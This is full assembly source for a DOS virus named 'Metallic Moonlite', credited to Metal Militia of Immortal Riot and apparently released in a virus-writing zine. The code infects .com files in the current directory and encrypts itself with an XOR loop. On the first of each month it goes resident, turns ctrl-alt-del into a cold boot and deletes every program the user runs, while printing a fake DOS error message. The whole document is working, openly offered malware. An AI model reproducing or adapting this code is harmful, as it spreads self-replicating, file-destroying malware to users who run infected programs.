; Virusname  : Metallic Moonlite
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin     : Sweden
;
; It's a non-resident, current dir infector of com-files. every first
; of any month it will put a bit of code resident to make ctrl-alt-del's
; to coldboots and delete all files being executed. It's encrypted with
; an XOR-loop. If it's not the first it will simple make a screen-clear.
; Um!.. well, enjoy Insane Reality issue #4!
;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
;			  METALLIC MOONLITE
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

.model tiny
.code
cseg    segment
        assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
        org     100h
begin:
dummy_host      db      0e9h,00h,00h ; the jmp code
virus_start:
        mov     bp,0000h        ; the delta offset

        call    encrypt_decrypt ; call to unencrypt
        jmp     restore_old_bytes ; restore old first bytes

write_virus:
        call    encrypt_decrypt   ; call encryption routine

        lea dx,[bp+virus_start]   ; from 100h (start)
        mov cx,heap-virus_start   ; viruslength
        mov ah,40h                ; write it
        int 21h

        call encrypt_decrypt      ; once again, encryption routine
                                  ; being called
        ret                       ; ret(urn) to "caller"

        enc_val dw 0              ; encryption value storage

encrypt_decrypt:
        mov dx,word ptr [bp+enc_val] ; the encryption routine
        lea si,[bp+restore_old_bytes]
        mov cx,(heap_end-virus_start+1)/2
again:
        xor word ptr [si],dx         ; a simple XOR thang
        inc si                       ; but gaak!, so effective
        inc si
        loop again
        ret

restore_old_bytes:
        mov     di,0100h
        lea     si,[bp+old_bytes]       ; restore old first bytes
        movsw
        movsb

        lea     dx,[bp+new_dta]         ; DTA's place
        mov     ah,1Ah                  ; set it
        int     21h

        lea     dx,[bp+com_mask]        ; file(s) to find
        mov     cx,0002h                ; hidden/normal attributes
        mov     ah,4eh                  ; find first file
find_next:
        int     21h
        jnc     check_file              ; found one? if so, check it
        jmp     bye_bye                 ; no uninfected files found,
                                        ; outa here
check_file:
        mov     ax,word ptr [bp+file_time] ; get time of file
        and     al,00011111b            ; mask seconds field
        cmp     al,00010101b            ; check for previous infection
        je      try_again               ; is it infected? so, try another
        jmp     replicate               ; not infected yet, kick it

try_again:
        mov     ah,4fh ; find next file
        jmp     short find_next ; so, do that

replicate:
        lea     dx,[bp+file_name]
        sub     cx,cx
        mov     ax,4301h                ; set attributes
        int     21h

        lea     dx,[bp+file_name]       ; open file
        mov     ax,3d02h                ; read/write access
        int     21h
        xchg    ax,bx                   ; mov bx,ax

        mov     ah,3fh ; read bytes
        mov     cx,03h ; 3 of them
        lea     dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
        int     21h

        cwd
        sub     cx,cx
        mov     ax,4202h                ; move file pointer to EOF
        int     21h

        sub     ax,03h                  ; 3 bytes
        mov     word ptr [bp+virus_start+1],ax ; from start
        mov     word ptr [bp+new_bytes+1],ax ; our jmp code

        mov     ah,2ch                       ; get time
        int     21h
        mov     word ptr [bp+enc_val],dx     ; put as encryption value
        call    write_virus                  ; write our code (*.*)

        cwd
        sub     cx,cx
        mov     ax,4200h                ; move file pointer to SOF
        int     21h

        lea     dx,[bp+new_bytes] ; write our jmp code at beginning
        mov     cx,03h ; 3 bytes long
        mov     ah,40h ; kick it
        int     21h

        mov     dx,word ptr [bp+file_date]
        mov     cx,word ptr [bp+file_time]
        and     cl,11100000b
        or      cl,00010101b
        mov     ax,5701h                ; restore date and time
        int     21h                     ; and mask seconds to show
                                        ; it's infected
        mov     ah,3eh                  ; close file
        int     21h

        lea     dx,[bp+file_name]
        sub     cx,cx
        mov     cl,byte ptr [bp+file_attr]
        mov     ax,4301h                ; restore the original attributes
        int     21h

        jmp     try_again               ; try to find another file

bye_bye:
        mov     ah,2ah                  ; get date
        int     21h
        cmp     dl,1                    ; the first of any month?
        je      print_it                ; if so, deletion time
        jmp     nofuckup                ; else, quit
print_it:
        mov     ah,9h                   ; print note
        lea     dx,[bp+offset printfake] ; faked thing
        int     21h

        jmp     resident                 ; go resident

int_9_entry   proc    far
        push    ax
        in      al,60h
        cmp     al,delcode               ; ctrl-alt-del?
        je      warmboot                 ; if so, boot
        pop     ax
        jmp     cs:Old_9                 ; let them use the old one
warmboot:
        db      0eah,00h,00h,0ffh,0ffh   ; no warmboot, but a coldboot
        iret                             ; i wonder if they will notice
int_9_entry   endp                       ; thatone (?)

int_21h_entry   proc    far
        cmp     ax,4b00h ; are they running a file?
        jne     go_on    ; if not, check other thang
        mov     ah,41h ; delete it
        int     21h
go_on:
        cmp     ax,4B9Fh ; is another copy trying to go resident?
        je      loc_0111 ; if so, show that we're here already
        jmp     cs:Old_21 ; else, let them use old int21
loc_0111:
        mov     ax,1994h ; 1994, our TSR mark here
        iret             ; to show that one copy's already eating memory
int_21h_entry	endp
en:
  
resident:
        mov     ax,3509h ; hook int9 (to read keyboard)
        int     21h

        mov     word ptr cs:Old_9,bx ; save the old one here
        mov     word ptr cs:Old_9+2,es
        mov     ax,2509h
        mov     dx,offset int_9_entry ; and use ours instead
        int     21h

        mov     ax,3521h ; hook int21 too (for filedeletion)
        int     21h

        mov     word ptr cs:Old_21,bx ; save old int21 here
	mov	word ptr cs:Old_21+2,es
	mov	ax,2521h
        mov     dx,offset int_21h_entry ; and let ours be used instead
        int     21h

        mov     dx,offset en            ; what to put resident
        int     27h                     ; do it

nofuckup:
;       mov     ah,0fh ; remove the first ";"
;       int     10h    ; and a screen-clear
;       mov     ah,0   ; will occure every
;       int     10h    ; execution.


restore_it_all:
        jmp     restore_dir ; restore everything

restore_dir:
        mov     ah,1ah                  ; restore DTA
        mov     dx,80h                  ; right now
        int     21h

        mov     ax,0100h                ; set ax to start
        push    ax                      ; push it
        retn                            ; back to original program

virusname       db      'Metallic Moonlite' ; virus name
copyright       db      '(c) Metal Militia/Immortal Riot' ; virus author
greetings       db      'Greetings to The Unforgiven/IR'
printfake       db      'Bad command or filename$'

com_mask        db      '*.com',0 ; files to infect, .com(mand)
old_bytes       db      0cdh,20h,90h ; old jmp saved here
new_bytes       db      0e9h,00h,00h ; new jmp code here
delcode         equ     53h ; ctrl-alt-del code(s)

heap:
old_9   dd      0 ; save's old int9 here
old_21  dd      0 ; save's old int21 aswell
new_dta         db      21 dup(?) ; the new DTA
file_attr       db      ? ; files attributes
file_time       dw      ? ; files time
file_date       dw      ? ; files date
file_size       dd      ? ; files size
file_name       db      13 dup(?) ; files name
old_attrs       db      5 dup(?) ; files old attributes
heap_end: ; eov (end of virus)
cseg    ends
        end     begin